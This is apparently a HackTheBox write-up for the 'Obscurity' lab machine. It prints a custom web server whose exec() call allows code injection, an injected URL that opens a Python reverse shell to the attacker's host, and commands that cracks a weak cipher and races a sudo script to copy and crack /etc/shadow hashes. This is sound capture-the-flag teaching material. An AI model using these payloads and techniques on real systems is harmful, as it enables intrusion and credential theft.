Obscurity Writeup (HackTheBox)
🗓️ Published:
Table of Contents
Enumeration #
root@kali:~# nmap -Pn -sS -n -p1-10000 -T4 -sV 10.10.10.168
...
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp closed http
8080/tcp open http-proxy BadHTTPServer
9000/tcp closed cslistener
Heading on over to http://10.10.10.161:8080, we see the following interesting piece of information:
Interesting, let's see if we can find what this secret development directory is (and hope that it's accessible from here).
root@kali:~/Desktop/HackTheBox/Obscurity# wfuzz -u http://10.10.10.168:8080/FUZZ/SuperSecureServer.py -w /usr/share/seclists/Discovery/Web-Content/common.txt --filter "c=200"
...
000001408: 200 170 L 498 W 5892 Ch "develop"
...
A 200 response from http://10.10.10.168:8080/develop/SuperSecureServer.py! What will we see there?
import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess
respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}
{body}
"""
DOC_ROOT = "DocRoot"
CODES = {"200": "OK",
"304": "NOT MODIFIED",
"400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND",
"500": "INTERNAL SERVER ERROR"}
MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg",
"ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2",
"js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}
class Response:
def __init__(self, **kwargs):
self.__dict__.update(kwargs)
now = datetime.now()
self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
def stringResponse(self):
return respTemplate.format(**self.__dict__)
class Request:
def __init__(self, request):
self.good = True
try:
request = self.parseRequest(request)
self.method = request["method"]
self.doc = request["doc"]
self.vers = request["vers"]
self.header = request["header"]
self.body = request["body"]
except:
self.good = False
def parseRequest(self, request):
req = request.strip("\r").split("\n")
method,doc,vers = req[0].split(" ")
header = req[1:-3]
body = req[-1]
headerDict = {}
for param in header:
pos = param.find(": ")
key, val = param[:pos], param[pos+2:]
headerDict.update({key: val})
return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}
class Server:
def __init__(self, host, port):
self.host = host
self.port = port
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind((self.host, self.port))
def listen(self):
self.sock.listen(5)
while True:
client, address = self.sock.accept()
client.settimeout(60)
threading.Thread(target = self.listenToClient,args = (client,address)).start()
def listenToClient(self, client, address):
size = 1024
while True:
try:
data = client.recv(size)
if data:
# Set the response to echo back the recieved data
req = Request(data.decode())
self.handleRequest(req, client, address)
client.shutdown()
client.close()
else:
raise error('Client disconnected')
except:
client.close()
return False
def handleRequest(self, request, conn, address):
if request.good:
# try:
# print(str(request.method) + " " + str(request.doc), end=' ')
# print("from {0}".format(address[0]))
# except Exception as e:
# print(e)
document = self.serveDoc(request.doc, DOC_ROOT)
statusNum=document["status"]
else:
document = self.serveDoc("/errors/400.html", DOC_ROOT)
statusNum="400"
body = document["body"]
statusCode=CODES[statusNum]
dateSent = ""
server = "BadHTTPServer"
modified = ""
length = len(body)
contentType = document["mime"] # Try and identify MIME type from string
connectionType = "Closed"
resp = Response(
statusNum=statusNum, statusCode=statusCode,
dateSent = dateSent, server = server,
modified = modified, length = length,
contentType = contentType, connectionType = connectionType,
body = body
)
data = resp.stringResponse()
if not data:
return -1
conn.send(data.encode())
return 0
def serveDoc(self, path, docRoot):
path = urllib.parse.unquote(path)
try:
info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting, right?
cwd = os.path.dirname(os.path.realpath(__file__))
docRoot = os.path.join(cwd, docRoot)
if path == "/":
path = "/index.html"
requested = os.path.join(docRoot, path[1:])
if os.path.isfile(requested):
mime = mimetypes.guess_type(requested)
mime = (mime if mime[0] != None else "text/html")
mime = MIMES[requested.split(".")[-1]]
try:
with open(requested, "r") as f:
data = f.read()
except:
with open(requested, "rb") as f:
data = f.read()
status = "200"
else:
errorPage = os.path.join(docRoot, "errors", "404.html")
mime = "text/html"
with open(errorPage, "r") as f:
data = f.read().format(path)
status = "404"
except Exception as e:
print(e)
errorPage = os.path.join(docRoot, "errors", "500.html")
mime = "text/html"
with open(errorPage, "r") as f:
data = f.read()
status = "500"
return {"body": data, "mime": mime, "status": status}
Foothold #
Now that we've got the source code of the custom web server, let's take a look around. In particular, there is a helpful comment to put us on the right track.
exec(info.format(path)) # This is how you do string formatting, right?
My guess is that probably isn't how you do string formatting. Let's take a look at that code and see if we can break it.
def serveDoc(self, path, docRoot):
path = urllib.parse.unquote(path)
try:
info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting, right?
Here's what's happening:
- The path variable takes on the value of whatever we request at the end of our URL. For example, if we request http://10.10.10.168:8080/develop/SuperSecureServer.py, then path equals develop/SuperSecureServer.py
- Then, info.format(path) replaces the {} in the info variable with path. So in our example, info equals "output = 'Document: develop/SuperSecureServer.py'"
- But then, this whole string is passed in to exec which allows us to run arbitrary Python code!
Working backwards, let's try and get the Python script to sleep for 5 seconds. This means we'd want info to look like this:
"output = 'Document: '; import time; time.sleep(5);''"
Given that we control the path, we simply need to request the following path:
'; import time; time.sleep(5)'
which forms the following URL: http://10.10.10.168:8080/'; import time; time.sleep(5);'
As a test, we should be able to paste this in our URL bar and get a 404 response back after 5 seconds. If that works, we know we have code execution, and it's time for us to get a reverse shell.
This is the Python reverse shell code we want to execute:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.153",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")
So to put this in the proper format, we need to prepend the code with ';
and append ;'
to the end, making our final URL look like
http://10.10.10.168:8080/';import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.153",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash");'
Set up your netcat
listener and try it out!
root@kali:~# nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.153] from (UNKNOWN) [10.10.10.168] 37560
www-data@obscure:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
User #
www-data@obscure:/$ ls -al /home
ls -al /home
total 12
drwxr-xr-x 3 root root 4096 Sep 24 2019 .
drwxr-xr-x 24 root root 4096 Oct 3 2019 ..
drwxr-xr-x 8 robert robert 4096 May 1 18:57 robert
www-data@obscure:/$ cd /home/robert
cd /home/robert
www-data@obscure:/home/robert$ ls -al
ls -al
total 76
drwxr-xr-x 8 robert robert 4096 May 1 18:57 .
drwxr-xr-x 3 root root 4096 Sep 24 2019 ..
lrwxrwxrwx 1 robert robert 9 Sep 28 2019 .bash_history -> /dev/null
-rw-r--r-- 1 robert robert 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 robert robert 3771 Apr 4 2018 .bashrc
drwxr-xr-x 2 root root 4096 Dec 2 09:47 BetterSSH
drwx------ 2 robert robert 4096 Oct 3 2019 .cache
-rw-rw-r-- 1 robert robert 94 Sep 26 2019 check.txt
drwxr-x--- 3 robert robert 4096 Dec 2 09:53 .config
drwx------ 3 robert robert 4096 May 1 18:05 .gnupg
drwxrwxr-x 3 robert robert 4096 Oct 3 2019 .local
-rw-rw-r-- 1 robert robert 185 Oct 4 2019 out.txt
-rw-rw-r-- 1 robert robert 27 Oct 4 2019 passwordreminder.txt
-rw-r--r-- 1 robert robert 807 Apr 4 2018 .profile
drwx------ 2 robert robert 4096 May 1 16:17 .ssh
-rwxrwxr-x 1 robert robert 2514 Oct 4 2019 SuperSecureCrypt.py
-rwx------ 1 robert robert 33 Sep 25 2019 user.txt
-rw------- 1 robert robert 9836 May 1 18:57 .viminfo
Even though we're running as www-data, we can still get in to Robert's home folder - but we can't read the user flag. However, we do have read access to quite a few other things - let's see what we can learn.
www-data@obscure:/home/robert$ cat passwordreminder.txt
cat passwordreminder.txt
ÑÈÌÉàÙÁÑ鯷¿k
www-data@obscure:/home/robert$ cat out.txt
cat out.txt
¦ÚÈêÚÞØÛÝÝ×ÐÊßÞÊÚÉæßÝËÚÛÚêÙÉëéÑÒÝÍÐêÆáÙÞãÒÑÐáÙ¦ÕæØãÊÎÍßÚêÆÝáäèÎÍÚÎëÑÓäáÛÌ×v
www-data@obscure:/home/robert$ cat check.txt
cat check.txt
Encrypting this file with your key should result in out.txt, make sure your key is correct!
And the following source code for SuperSecureCrypt.py
import sys
import argparse
def encrypt(text, key):
keylen = len(key)
keyPos = 0
encrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr + ord(keyChr)) % 255)
encrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return encrypted
def decrypt(text, key):
keylen = len(key)
keyPos = 0
decrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr - ord(keyChr)) % 255)
decrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return decrypted
parser = argparse.ArgumentParser(description='Encrypt with 0bscura\'s encryption algorithm')
parser.add_argument('-i',
metavar='InFile',
type=str,
help='The file to read',
required=False)
parser.add_argument('-o',
metavar='OutFile',
type=str,
help='Where to output the encrypted/decrypted file',
required=False)
parser.add_argument('-k',
metavar='Key',
type=str,
help='Key to use',
required=False)
parser.add_argument('-d', action='store_true', help='Decrypt mode')
args = parser.parse_args()
banner = "################################\n"
banner+= "# BEGINNING #\n"
banner+= "# SUPER SECURE ENCRYPTOR #\n"
banner+= "################################\n"
banner += " ############################\n"
banner += " # FILE MODE #\n"
banner += " ############################"
print(banner)
if args.o == None or args.k == None or args.i == None:
print("Missing args")
else:
if args.d:
print("Opening file {0}...".format(args.i))
with open(args.i, 'r', encoding='UTF-8') as f:
data = f.read()
print("Decrypting...")
decrypted = decrypt(data, args.k)
print("Writing to {0}...".format(args.o))
with open(args.o, 'w', encoding='UTF-8') as f:
f.write(decrypted)
else:
print("Opening file {0}...".format(args.i))
with open(args.i, 'r', encoding='UTF-8') as f:
data = f.read()
print("Encrypting...")
encrypted = encrypt(data, args.k)
print("Writing to {0}...".format(args.o))
with open(args.o, 'w', encoding='UTF-8') as f:
f.write(encrypted)
What it looks like we need to do is figure out the key used to encrypt passwordreminder.txt (using the source code in the Python file), and test against check.txt and out.txt. Let's examine the Python script more closely, specifically the encrypt and decrypt functions.
def encrypt(text, key):
keylen = len(key)
keyPos = 0
encrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr + ord(keyChr)) % 255)
encrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return encrypted
def decrypt(text, key):
keylen = len(key)
keyPos = 0
decrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr - ord(keyChr)) % 255)
decrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return decrypted
So the encryption works by taking the decimal representation of the plaintext character, adding that to the decimal representation of the key character, and then adding the character representation of this sum modulo 255 on to the encrypted string. Given that we have the plaintext and encrypted samples, we can compute the key and then apply that to passwordreminder.txt. Before that however, we need to get the encrypted files from the remote host on to our Kali box, and since they're not plaintext we can't simply cat
, copy and paste. But if we convert to base 64, then we CAN copy-paste.
www-data@obscure:/home/robert$ base64 passwordreminder.txt
base64 passwordreminder.txt
wrTDkcOIw4zDicOgw5nDgcORw6nCr8K3wr9r
www-data@obscure:/home/robert$ base64 check.txt
base64 check.txt
RW5jcnlwdGluZyB0aGlzIGZpbGUgd2l0aCB5b3VyIGtleSBzaG91bGQgcmVzdWx0IGluIG91dC50eHQsIG1ha2Ugc3VyZSB5b3VyIGtleSBpcyBjb3JyZWN0ISANCg==
www-data@obscure:/home/robert$ base64 out.txt
base64 out.txt
wqbDmsOIw6rDmsOew5jDm8Odw53CicOXw5DDisOfwoXDnsOKw5rDicKSw6bDn8Odw4vCiMOaw5vDmsOqwoHDmcOJw6vCj8Opw5HDksOdw43DkMKFw6rDhsOhw5nDnsOjwpbDksORwojDkMOhw5nCpsOVw6bDmMKewo/Do8OKw47DjcKBw5/DmsOqw4bCjsOdw6HDpMOowonDjsONw5rCjMOOw6vCgcORw5PDpMOhw5vDjMOXwonCgXY=
Now for our key-finding script...
#!/usr/bin/python3
a = open('out.txt','r',encoding='UTF-8')
encrypted_text = a.read()
f = open('check.txt','r',encoding='UTF-8')
plaintext = f.read()
g = open('key.txt','w',encoding='UTF-8')
s = ""
for i in range(0,len(encrypted_text)):
e = encrypted_text[i] # encrypted character
key_ord = ord(e) - ord(plaintext[i]) # subtract the decimal plaintext from decimal encrypt to get decimal key
s += chr(key_ord) # add on the key chatacter
g.write(s)
a.close()
f.close()
g.close()
After computing the key file,, we can generate our version of out.txt
and see if they match.
root@kali:~/Desktop/HackTheBox/Obscurity# ./keyfinder.py
root@kali:~/Desktop/HackTheBox/Obscurity# python3 supersecurecrypt.py -i check.txt -o out2.txt -k `cat key.txt`
################################
# BEGINNING #
# SUPER SECURE ENCRYPTOR #
################################
############################
# FILE MODE #
############################
Opening file check.txt...
Encrypting...
Writing to out2.txt...
root@kali:~/Desktop/HackTheBox/Obscurity# xxd -p out.txt > out.hex && xxd -p out2.txt > out2.hex && diff out.hex out2.hex && rm {out,out2}.hex
Now that they match, we can decrypt passwordreminder.txt
with the key that we found.
root@kali:~/Desktop/HackTheBox/Obscurity# python3 supersecurecrypt.py -i passwordreminder.txt -o password.txt -k `cat key.txt` -d
################################
# BEGINNING #
# SUPER SECURE ENCRYPTOR #
################################
############################
# FILE MODE #
############################
Opening file passwordreminder.txt...
Decrypting...
Writing to password.txt...
root@kali:~/Desktop/HackTheBox/Obscurity# cat password.txt
SecThruObsFTW
Now, if we're to believe that this is Robert's login password, we should be able to login over SSH using robert / SecThruObsFTW
root@kali:~/Desktop/HackTheBox/Obscurity# ssh robert@10.10.10.168
robert@10.10.10.168's password:
...
robert@obscure:~$
Grab the user flag and let's move on to root. By the way, the key that was used was alexandrovich.
root@kali:~/Desktop/HackTheBox/Obscurity# cat key.txt
alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichal
Privilege Escalation #
Now on to gaining root access. A quick check shows us that Robert can run the following commands using sudo without a password, making this a good place to start.
robert@obscure:~$ sudo -l
Matching Defaults entries for robert on obscure:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User robert may run the following commands on obscure:
(ALL) NOPASSWD: /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
Here we have the contents of the custom SSH script, with only the parts relevant to the privilege escalation included.
robert@obscure:~$ cat BetterSSH/BetterSSH.py
...
path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
...
with open('/etc/shadow', 'r') as f:
data = f.readlines()
data = [(p.split(":") if "$" in p else None) for p in data]
passwords = []
for x in data:
if not x == None:
passwords.append(x)
passwordFile = '\n'.join(['\n'.join(p) for p in passwords])
with open('/tmp/SSH/'+path, 'w') as f:
f.write(passwordFile)
time.sleep(.1)
...
os.remove(os.path.join('/tmp/SSH/',path))
...
In a nutshell, this script always copies /etc/shadow
to a random file in /tmp/SSH
, and then promptly removes it. All we need to do is somehow get the contents of that file before it's deleted and we can bruteforce the hash offline. To accomplish this, I will use the watch
utility, which repeats any given command at a specified time interval.
Open 2 console windows and in both of them login as Robert. Then, in the first window run this command:
robert@obscure:~$ watch -n 0.1 'cat /tmp/SSH/* >> /tmp/parsnips.txt'
In the second window, run this command and walk through the login process using fake credentials.
robert@obscure:~$ sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
Enter username: my
Enter password: name
Invalid user
Finally, read the contents of /tmp/parsnips.txt, and find yourself the contents of /etc/shadow
.
robert@obscure:~$ cat /tmp/parsnips.txt
root
$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1
18226
0
99999
7
robert
$6$fZZcDG7g$lfO35GcjUmNs3PSjroqNGZjH35gN4KjhHbQxvWO0XU.TCIHgavst7Lj8wLF/xQ21jYW5nD66aJsvQSP/y1zbH/
18163
0
99999
7
Let's save the root hash in a file called root.hash
root@kali:~/Desktop/HackTheBox/Obsucrity# echo '$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1' > root.hash
And then let's crack it!
root@kali:~/Desktop/HackTheBox/Obscurity# hashcat -m 1800 root.hash -a 3 wordlist --force
hashcat (v5.1.0) starting...
...
$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1:mercedes
...
Interesting! So let's try logging in with root / mercedes not using regular SSH but actually using the BetterSSH.py
script.
robert@obscure:~$ sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
Enter username: root
Enter password: mercedes
Authed!
root@Obscure$ id
Output: uid=0(root) gid=0(root) groups=0(root)
Grab the root flag and wrap up!